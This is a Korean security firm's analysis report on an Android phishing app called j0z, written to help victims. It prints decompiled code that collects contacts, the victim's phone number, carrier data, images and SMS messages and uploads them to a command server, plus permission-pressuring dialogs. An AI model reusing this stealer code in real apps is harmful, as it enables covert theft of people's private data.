분석일: 2025-07-16
분석자: 주식회사 아크링크 ([비공개] 대표)
분석 목적: 피싱/스미싱 [피해자 정보 비공개] 위한 악성앱 분석
보고서 버전: v3.0
항목 · 내용
**파일명** · j0z.apk
**패키지명** · com.arcseed.luminoir
**앱 이름** · Luminoir (strings.xml: "JOZ")
**메인 패키지** · com.vortexa.qubeleaf
**Application 클래스** · com.vortexa.qubeleaf.Myapplication
**Target SDK (원본)** · 34 (Android 14)
**Target SDK (패치)** · 28 (Android 9)
**Min SDK (원본)** · 29 (Android 10)
**Min SDK (패치)** · 21 (Android 5.0)
**Compile SDK** · 34 -> 28 (패치)
**프레임워크** · Native Android (Kotlin)
**패밀리** · Wavegrid 변종 (독립 진화 계열)
**아이콘** · @mipmap/logoshow
**원본 APK 크기** · 13.5 MB
**패치 APK 크기** · 11.5 MB (-15%)
**Kotlin 버전** · 1.9.0 (mv = {0x1, 0x9, 0x0})
**R8 최적화** · 적용됨 ($r8$lambda$ 접두사 확인)
j0z는 Wavegrid 패밀리에 속하면서도 독자적 진화를 보인 변종이다:
공유 특성 (Wavegrid):
· `[비공개] 접두사를 사용하는 RuoYi 기반 C2 서버
· webapp/login, webapp/saveAddressBook, webapp/image/ 엔드포인트
· HTTP 200 = 실패 역로직 (원본 코드)
· FastJSON 기반 응답 파싱
· SharedPreferences 상태 관리 (IFFIRST, UUIDVALUE, INVITECODE, ISUPLOAD)
독자적 특성:
· 패키지 구조가 com.vortexa.qubeleaf로 Chinso/Q와 다른 계열
· ServerUtil 유틸리티 클래스에 C2 URL을 상수로 명시적 선언
· GlobuleValue 글로벌 상수 클래스 별도 존재
· BaseActivity 상속 구조 사용 (Chinso/Q는 FragmentActivity 직접 상속)
· ContainActivity (데이터 수집) vs SecondActivity (Chinso/Q의 구조)
· HomeActivity가 런처 (Chinso/Q는 MainActivity)
· EasyHttp 라이브러리 사용 (Chinso/Q는 다른 HTTP 라이브러리)
· PermissDialog 별도 권한 요청 다이얼로그 클래스
· StatusUtils 상태바 유틸리티 별도 존재
· MALBIO 유전체에서 is_wavegrid=0으로 분류됨 (패키지 패턴 차이)
이러한 차이는 j0z가 Wavegrid의 동일 설계 사상을 공유하지만, 다른 개발자 또는 다른 시점에서 재구현된 변종임을 시사한다.
권한 · 위험도 · 피해 시나리오
`READ_CONTACTS` · **위험** · 피해자의 연락처 전체를 탈취. 이름+번호 조합으로 지인 사칭 피싱 문자 발송에 활용. "OO님의 택배입니다" 형태로 2차 피해 확산
`READ_PHONE_STATE` · **위험** · IMEI, 기기 모델, SIM 시리얼 수집. [피해자 정보 비공개] 고유 식별하여 중복 감염 방지 및 [피해자 정보 비공개] 사용
`READ_PHONE_NUMBERS` · **위험** · [피해자 정보 비공개] 전화번호 직접 탈취. 대포폰 번호 데이터베이스 구축 또는 보이스피싱 타겟 리스트에 추가
`READ_EXTERNAL_STORAGE` · **위험** · 외부 저장소의 문서, 사진, 다운로드 파일 무차별 접근 (API 32 이하)
`WRITE_EXTERNAL_STORAGE` · 일반 · 외부 저장소 쓰기
`INTERNET` · 일반 · C2 서버 통신
`ACCESS_NETWORK_STATE` · 일반 · 네트워크 상태 확인
`MOUNT_UNMOUNT_FILESYSTEMS` · 일반 · 파일시스템 마운트
원본 Manifest에는 READ_MEDIA_IMAGES, READ_MEDIA_VIDEO (API 33+) 권한이 존재했으나, 패치 과정에서 targetSdkVersion을 28로 하향하면서 이 권한들이 제거되었다. 대신 READ_EXTERNAL_STORAGE로 통합 접근하는 구조가 되었다. 이는 j0z가 10개 API 29+ 이슈를 해결하기 위해 targetSdk까지 하향 조정한 특수 사례이기 때문이다.
j0z는 com.permissionx.guolindev (GuoLinDev의 PermissionX) 라이브러리를 사용하여 런타임 권한을 요청한다. ContainActivity.getPerInfo() 메서드에서 SDK 버전에 따라 동적으로 권한 목록을 구성한다:
```kotlin
// 역컴파일된 권한 요청 로직
fun getPerInfo(permissionSize: Int) {
val permissions = ArrayList<String>()
if (Build.VERSION.SDK_INT >= 33) {
permissions.add("READ_MEDIA_IMAGES")
permissions.add("READ_MEDIA_VIDEO")
} else {
permissions.add("READ_EXTERNAL_STORAGE")
}
if (permissionSize != 3) { // SIZE=3이면 이미 허용된 상태
permissions.add("READ_CONTACTS")
permissions.add("READ_PHONE_NUMBERS")
permissions.add("READ_PHONE_STATE")
}
PermissionX.init(this).permissions(permissions).request { granted, denied ->
if (granted) shareCOntain()
else showActiveDialog(100) // 설정 화면으로 유도
}
}
```
Activity · 클래스 경로 · 설명
`HomeActivity` · `com.vortexa.qubeleaf.view.HomeActivity` · 런처 Activity. 초대코드 입력 화면
`ContainActivity` · `com.vortexa.qubeleaf.view.ContainActivity` · 데이터 수집 화면. 권한 요청 및 탈취 수행
클래스 · smali 경로 · 역할
`HomeActivity` · `smali/com/vortexa/qubeleaf/view/HomeActivity.smali` · 초대코드 입력 UI, 로그인 API 호출, IFFIRST 플래그 확인
`HomeActivity$goToNext$2` · `smali/com/vortexa/qubeleaf/view/HomeActivity$goToNext$2.smali` · 로그인 API 콜백. HTTP 200 응답코드 검증 (역로직)
`ContainActivity` · `smali/com/vortexa/qubeleaf/view/ContainActivity.smali` · 연락처 수집 (`webapp/saveAddressBook`), 권한 요청
`ContainActivity$startImgShowInfo$1` · `smali/com/vortexa/qubeleaf/view/ContainActivity$startImgShowInfo$1.smali` · 이미지 업로드 (`webapp/image/`), Luban 압축 콜백
`ContainActivity$startNuxtInfo$1` · `smali/com/vortexa/qubeleaf/view/ContainActivity$startNuxtInfo$1.smali` · 연락처 업로드 콜백, ISUPLOAD 플래그 설정
`BaseActivity` · `smali/com/vortexa/qubeleaf/view/base/BaseActivity.smali` · Activity 베이스 클래스 (ViewBinding, 리플렉션 inflate)
`Myapplication` · `smali/com/vortexa/qubeleaf/Myapplication.smali` · Application. EasyHttp 초기화, C2 URL 설정, SSL 비활성화
`ServerUtil` · `smali/com/vortexa/qubeleaf/util/ServerUtil.smali` · C2 URL 상수 정의, postFile() 파일 업로드
`GlobuleValue` · `smali/com/vortexa/qubeleaf/util/GlobuleValue.smali` · 글로벌 상수 (INVITECODE, UUIDVALUE, IFFIRST, SIZE=3)
`StatusUtils` · `smali/com/vortexa/qubeleaf/util/StatusUtils.smali` · 데이터 수집 유틸리티 (연락처, 이미지, SMS, 통신사)
`PermissDialog` · `smali/com/vortexa/qubeleaf/util/PermissDialog.smali` · 권한 요청 커스텀 다이얼로그
`CollectBeanDTO` · `smali/com/vortexa/qubeleaf/bean/CollectBeanDTO.smali` · 연락처 데이터 모델 (name, number)
`InfoBeanDTO` · `smali/com/vortexa/qubeleaf/bean/InfoBeanDTO.smali` · 미디어/SMS 정보 모델 (displayName, path, content, date, type)
`ResultSuccessCallBack` · `smali/com/vortexa/qubeleaf/bean/ResultSuccessCallBack.smali` · API 성공 콜백 인터페이스
```
[사용자 앱 설치]
[HomeActivity] 초대코드 입력 화면
init() -> IFFIRST 확인
(이미 인증됨) -> startUp() -> ContainActivity로 바로 이동
(최초 실행) -> 초대코드 입력 대기
setList() -> startBtn 클릭 리스너
코드 입력 -> goToNext(uuid, mCode)
[서버 POST: webapp/login] {name: 초대코드, cId: UUID}
(EasyHttp.post -> SimpleCallBack)
HomeActivity$goToNext$2.onSuccess()
code != 200 -> SPUtils 저장 -> startUp()
[ContainActivity] 권한 요청 + 데이터 수집
init() -> INVITECODE, ISUPLOAD 확인
setList() -> btnSync 클릭 리스너 -> getPerInfo(3)
권한 승인 -> shareCOntain()
1. TelephonyManager.getLine1Number() -> 본인 전화번호
2. startNuxtInfo() -> 연락처 수집 + C2 전송
3. startImgShowInfo() -> 이미지 수집 + Luban 압축 + C2 전송
권한 거부 -> showActiveDialog() -> 앱 설정 화면으로 유도
```
j0z의 BaseActivity는 Kotlin 제네릭과 리플렉션을 활용한 ViewBinding 자동화 패턴을 구현한다:
```kotlin
// BaseActivity.kt 역컴파일
abstract class BaseActivity<VB : ViewBinding> : FragmentActivity() {
lateinit var mBinding: VB
override fun onCreate(savedInstanceState: Bundle?) {
super.onCreate(savedInstanceState)
ImmersionBar.with(this).statusBarDarkFont(true).init()
// 리플렉션으로 ViewBinding 자동 inflate
val clazz = (javaClass.genericSuperclass as ParameterizedType)
.actualTypeArguments[0] as Class<VB>
val method = clazz.getMethod("inflate", LayoutInflater::class.java)
mBinding = method.invoke(null, layoutInflater) as VB
setContentView(mBinding.root)
init() // 자식 클래스 초기화
setList() // 자식 클래스 이벤트 바인딩
}
abstract fun init()
abstract fun setList()
}
```
이 패턴은 Chinso/Q에서는 발견되지 않는 구조로, 더 체계적인 개발자 역량을 보여준다.
항목 · Chinso/Q · j0z
런처 · MainActivity · HomeActivity
데이터 수집 · SecondActivity · ContainActivity
HTTP 라이브러리 · 난독화된 커스텀 (qx, km1) · EasyHttp (com.zhouyou.http)
Activity 상속 · FragmentActivity · BaseActivity (커스텀)
C2 URL 관리 · Application + 난독화 상수 · ServerUtil (명시적 상수)
SP 유틸 · 직접 SharedPreferences · SPUtils (BlankJ)
권한 다이얼로그 · 시스템 기본 · PermissDialog (커스텀)
권한 요청 · 직접 구현 · PermissionX (GuoLinDev)
ViewBinding · 수동 inflate · BaseActivity의 getMBinding() (리플렉션)
이미지 압축 · 미사용/직접 · Luban 라이브러리
JSON 파싱 · FastJSON · FastJSON (동일) + GsonUtils
항목 · 내용
**도메인** · [비공개]
**Base URL** · `[비공개]
**프로토콜** · HTTPS
**서버 프레임워크** · RuoYi (Spring Boot 기반)
**TLD** · `.online` (저비용 TLD, 위험도 높음)
**도메인 패턴** · 랜덤 문자열 + 숫자 조합 (일회용)
.online은 ML의 C2 도메인([비공개])과 동일한 TLD를 사용한다. 도메인명 yubtrqvz12254는 랜덤 문자열+숫자 조합으로, Wavegrid 패밀리 전체에서 관찰되는 일회용 도메인 생성 패턴과 일치한다.
엔드포인트 · 메소드 · 파라미터 · 용도 · 응답 처리
`[비공개] · POST · `{name: 초대코드, cId: UUID}` · 초대코드 인증 · code!=200 → 성공(역로직)
`[비공개] · POST · HashMap(JSON) · 연락처+기기정보 업로드 · code==200 → ISUPLOAD=true
`[비공개] · POST · File (multipart/form-data) · 미디어 파일 업로드 · ResultSuccessCallBack
j0z는 Chinso/Q와 달리 ServerUtil 클래스에 C2 URL을 명시적으로 선언한다:
```smali
.field public static final baseUrl:Ljava/lang/String; = "[비공개]
.field public static final contactUrl:Ljava/lang/String; = "webapp/saveAddressBook"
.field public static final imgUrl:Ljava/lang/String; = "webapp/image/"
.field public static final loginUrl:Ljava/lang/String; = "webapp/login"
.field public static final serverApi:Ljava/lang/String; = "[비공개]"
```
Chinso/Q에서는 이 정보가 난독화된 di0.smali에 분산되어 있었으나, j0z는 유틸리티 클래스에 명확하게 정리되어 있다. 이는 j0z가 다른 개발 스타일로 구현되었음을 보여주는 증거다.
C2 URL은 두 곳에 하드코딩되어 있다:
1. ServerUtil.baseUrl (상수 필드): `"[비공개]
2. Myapplication.onCreate() (EasyHttp 초기화): EasyHttp.setBaseUrl("[비공개])
3. ServerUtil.postFile() (직접 URL 조합): new StringBuilder("[비공개])
이 이중 하드코딩은 동적 C2 변경이 불가능함을 의미한다. 서버 교체 시 APK 재배포가 필요하며, 이는 초기 단계의 공격 인프라임을 시사한다.
```kotlin
// Myapplication.onCreate()
EasyHttp.init(application)
EasyHttp.getInstance()
.setCertificates() // SSL 인증서 검증 비활성화
.setBaseUrl("[비공개])
.setRetryCount(3) // 3회 재시도
```
실패 시 3회까지 자동 재시도하며, 이는 불안정한 일회용 C2 서버 환경에서의 안정성을 확보하기 위한 조치다.
위치: com/blankj/utilcode/util/d.smali (DeviceUtils)
Chinso/Q/ML과 동일한 BlankJ 기반 탐지 모듈 내장. 다만 j0z는 이 탐지를 적극적으로 사용하지 않는 것으로 분석됨 (호출 경로 미확인).
위치: HomeActivity.smali -> HomeActivity$goToNext$2.smali
j0z의 초대코드 검증은 Chinso/Q와 동일한 역로직을 사용하지만, 구현 방식이 다르다:
```smali
const/16 v1, 0xc8 # 200
if-eq v0, v1, :cond_1 # 200이면 -> cond_1(실패 처리)로 이동
```
주의: j0z의 코드는 이미 if-eq로 되어 있다. 이는 j0z가 패치 과정에서 이미 역전이 적용된 상태이거나, 원본 코드 자체가 이 형태였을 수 있다. 어느 경우든 결과적으로 "200이면 실패"라는 Wavegrid의 역로직이 구현되어 있다.
j0z와 Chinso/Q의 콜백 구조 비교:
· Chinso/Q: p12 (난독화된 콜백 클래스) 상속
· j0z: SimpleCallBack (EasyHttp 라이브러리의 명시적 콜백) 상속
원본 minSdkVersion: 29 (Android 10)
j0z는 Wavegrid 변종 중 가장 많은 API 29+ 의존성(10개)을 보유한 케이스다. 이는 j0z가 다른 변종보다 더 최신 Android API를 적극 활용했거나, 더 많은 서드파티 라이브러리를 포함했기 때문이다.
순번 · 문제 · 파일/위치 · API 레벨
1 · `minSdkVersion: 29` · apktool.yml · API 29+
2 · `targetSdkVersion: 34` · apktool.yml · API 34
3 · `adaptive-icon` 사용 · mipmap-anydpi/ · API 26+
4 · `ProcessLifecycleOwner$Api29Impl` · androidx.lifecycle · API 29+
5 · `ReportFragment.registerActivityLifecycleCallbacks` · androidx.lifecycle · API 29+
6 · `setStatusBarContrastEnforced` (1) · ImmersionBar.smali · API 29+
7 · `setNavigationBarContrastEnforced` (1) · ImmersionBar.smali · API 29+
8 · `setNavigationBarContrastEnforced` (2) · BarUtils.smali · API 29+
9 · `EdgeToEdgeApi29` API 호출들 · androidx.activity · API 29+
10 · Android 13+ 전용 권한들 · AndroidManifest.xml · API 33+
위치: com/vortexa/qubeleaf/util/PermissDialog.smali
j0z는 시스템 기본 권한 다이얼로그 대신 커스텀 PermissDialog를 사용하여 사용자를 심리적으로 조종한다:
```kotlin
// PermissDialog.kt 역컴파일
class PermissDialog(context: Context, themeResId: Int, layoutResId: Int) : Dialog(context, themeResId) {
private val view: View = LayoutInflater.from(context).inflate(layoutResId, null)
init { setContentView(view) }
fun setLocation(x: Int, gravity: Int) {
val window = window!!
window.decorView.setPadding(x * 3, 0, x * 3, 0) // 좌우 패딩
val params = window.attributes
params.width = WRAP_CONTENT
params.gravity = gravity // 0x11 = CENTER
window.attributes = params
}
override fun dismiss() {
// IME 키보드 자동 숨김 처리
val focus = currentFocus
if (focus is TextView) {
val imm = context.getSystemService("input_method") as InputMethodManager
imm.hideSoftInputFromWindow(focus.windowToken, 0)
}
super.dismiss()
}
}
```
다이얼로그 사용 패턴:
1. showDialog(): 제목/내용 설정 가능한 정보 다이얼로그 (연락처 업로드 성공 시)
2. showActiveDialog(): 권한 거부 시 앱 설정 화면으로 강제 이동하는 다이얼로그
```kotlin
// showActiveDialog() - 권한 거부 시 설정으로 유도
fun showActiveDialog(code: Int) {
val dialog = PermissDialog(this, R.style.CustomDialog, R.layout.diaolog_permission)
dialog.view.findViewById<TextView>(R.id.btn).setOnClickListener {
dialog.dismiss()
val intent = Intent("android.settings.APPLICATION_DETAILS_SETTINGS")
intent.data = Uri.fromParts(getString(R.string.packageInfo), packageName, null)
startActivityForResult(intent, code) // requestCode = 100
}
dialog.show()
dialog.setLocation(0, 0x11) // CENTER
}
```
한글 strings.xml에서 permission 값: "필수 권한을 허용해야 서비스 정상 이용이 가능합니다." 이 메시지로 피해자에게 권한 허용을 강요한다.
데이터 유형 · 수집 메서드 · 수집 방식 · 전송 API
**연락처 (이름+번호)** · `StatusUtils.getContacts()` · ContactsContract.Contacts 2단계 조회 · `webapp/saveAddressBook`
**연락처 (간편)** · `StatusUtils.getContactss()` · content://com.android.contacts/data/phones 직접 URI · -
**연락처 (Phone)** · `StatusUtils.getContact()` · ContactsContract.CommonDataKinds.Phone · `webapp/saveAddressBook`
**피해자 전화번호** · `ContainActivity.shareCOntain()` · TelephonyManager.getLine1Number() · 연락처와 함께 전송
**통신사 정보** · `StatusUtils.getOperatorName()` · TelephonyManager.getSimOperatorName() · 연락처와 함께 전송
**미디어 파일 (이미지)** · `StatusUtils.getAlbum()` · MediaStore.Images.Media 쿼리 · `webapp/image/{homeCode}`
**미디어 파일 (이미지 v2)** · `StatusUtils.getImg()` · MediaStore + date_modified DESC 정렬 · -
**SMS 메시지** · `StatusUtils.getMsgs()` · content://sms/ (최근 5일) · **(미사용, 잠재적 위협)**
**이미지 압축** · `StatusUtils.compressImage()` · JPEG 100→10% 압축 루프 · Luban 전처리
**파일 저장** · `StatusUtils.saveFile()` · externalCacheDir/Ask/ 경로 · 임시 파일 생성
StatusUtils에는 3개의 연락처 수집 메서드가 존재한다. 이는 개발 과정에서의 시행착오 흔적이다:
```java
// 1단계: Contacts 테이블에서 ID와 이름 조회
Cursor cursor = contentResolver.query(ContactsContract.Contacts.CONTENT_URI, ...);
while (cursor.moveToNext()) {
String id = cursor.getString(cursor.getColumnIndex("_id"));
String name = cursor.getString(cursor.getColumnIndex("display_name"));
int hasPhone = cursor.getInt(cursor.getColumnIndex("has_phone_number"));
if (hasPhone > 0) {
// 2단계: Phone 테이블에서 해당 contact_id의 전화번호 조회
Cursor phoneCursor = contentResolver.query(
ContactsContract.CommonDataKinds.Phone.CONTENT_URI,
null, "contact_id=" + id, null, null);
while (phoneCursor.moveToNext()) {
CollectBeanDTO dto = new CollectBeanDTO();
dto.name = name;
dto.number = phoneCursor.getString(
phoneCursor.getColumnIndex("data1"))
.trim().replace(" ", "").replace("-", ""); // 공백/하이픈 제거
}
}
}
```
주목할 점: 전화번호에서 공백과 하이픈을 자동 제거한다 ("010-**-" -> "010--**"). 이는 서버에서 일관된 형식으로 처리하기 위함이며, 2차 공격(스미싱) 자동화를 위한 전처리다.
```java
// content://com.android.contacts/data/phones 직접 접근
Uri uri = Uri.parse("content://com.android.contacts/data/phones");
Cursor cursor = contentResolver.query(uri, null, null, null, null);
// Log.d("TAG", "getContact===" + name); // 디버그 로그 포함!
```
주목할 점: Log.d() 디버그 로그가 제거되지 않고 남아 있다. 이는 개발 중인 코드가 프로덕션에 그대로 포함된 것으로, 개발자의 부주의를 보여준다.
```java
// ContainActivity.startNuxtInfo()에서 실제 호출되는 메서드
Cursor cursor = contentResolver.query(
ContactsContract.CommonDataKinds.Phone.CONTENT_URI,
null, null, null, null);
// displayName, data1(번호), contact_id 조회
```
실제 사용: ContainActivity에서는 getContact()만 호출한다. getContacts()와 getContactss()는 사용되지 않는 데드 코드이나, 개발 과정에서의 반복 시도를 보여주는 포렌식 증거다.
위치: StatusUtils.getMsgs() (line 703-882)
```java
// StatusUtils.getMsgs() 역컴파일
public static List<InfoBeanDTO> getMsgs(Context context) {
List<InfoBeanDTO> list = new ArrayList<>();
try {
Uri uri = Uri.parse("content://sms/");
Calendar calendar = Calendar.getInstance();
calendar.add(Calendar.DAY_OF_MONTH, -1); // 하루 전? (코드는 -1이나 상수 5 사용)
String[] projection = {"address", "date", "type", "body"};
Cursor cursor = context.getContentResolver().query(uri, projection, null, null, null);
while (cursor.moveToNext()) {
String address = cursor.getString(0); // 발신자 번호
String date = cursor.getString(1); // 수신 시각
String type = cursor.getString(2); // 수신(1)/발신(2)/임시저장(3)
String body = cursor.getString(3); // SMS 내용
InfoBeanDTO dto = new InfoBeanDTO();
dto.content = body;
dto.displayName = address;
dto.date = date;
dto.type = type;
list.add(dto);
// 디버그 로그 (제거되지 않음!)
Log.e("TAG", "address:${address},date:${date},type:${type},body:${body}" + address + body + type);
}
cursor.close();
} catch (Exception e) { }
return list;
}
```
분석 결과:
· READ_SMS 권한이 AndroidManifest에 없다 -> 런타임에 SecurityException 발생
· ContainActivity에서 getMsgs()를 호출하지 않는다
· 그러나 코드 자체는 완전하고 기능적이다
· Log.e() 디버그 로그가 남아있어 개발 중이었음을 시사
· 결론: 향후 버전에서 활성화될 수 있는 잠재적 SMS 탈취 기능. 권한 추가만으로 즉시 활성화 가능
```java
// ContainActivity.startNuxtInfo() - 서버 전송 데이터 구조
HashMap<String, Object> params = new HashMap<>();
params.put("userName", homeCode); // 초대코드 ([피해자 정보 비공개])
params.put("model", "android"); // OS 식별
params.put("bjPhone", codeValue); // [피해자 정보 비공개] 전화번호
params.put("operatorName", StatusUtils.getOperatorName(this)); // 통신사명
params.put("phoneContent", JSONObject.toJSONString(contactList)); // 연락처 JSON 배열
EasyHttp.post("webapp/saveAddressBook")
.upJson(GsonUtils.toJson(params))
.execute(new SimpleCallBack<String>() { ... });
```
전송 데이터 필드 분석:
필드 · 값 · 피해 용도
`userName` · 초대코드 · [피해자 정보 비공개] 및 공격 조직 내 분류
`model` · "android" · 기기 OS 식별
`bjPhone` · TelephonyManager.getLine1Number() · [피해자 정보 비공개] 전화번호 직접 탈취
`operatorName` · TelephonyManager.getSimOperatorName() · 통신사 정보 (SKT/KT/LGU+ 식별)
`phoneContent` · FastJSON 직렬화된 연락처 배열 ·
본 보고서는 주식회사 아크링크 Deep-Coding 보안연구소가 피싱·몸캠피싱 피해자 구제를 목적으로 작성했습니다. 전체 열람·피해 상담: arklink.co.kr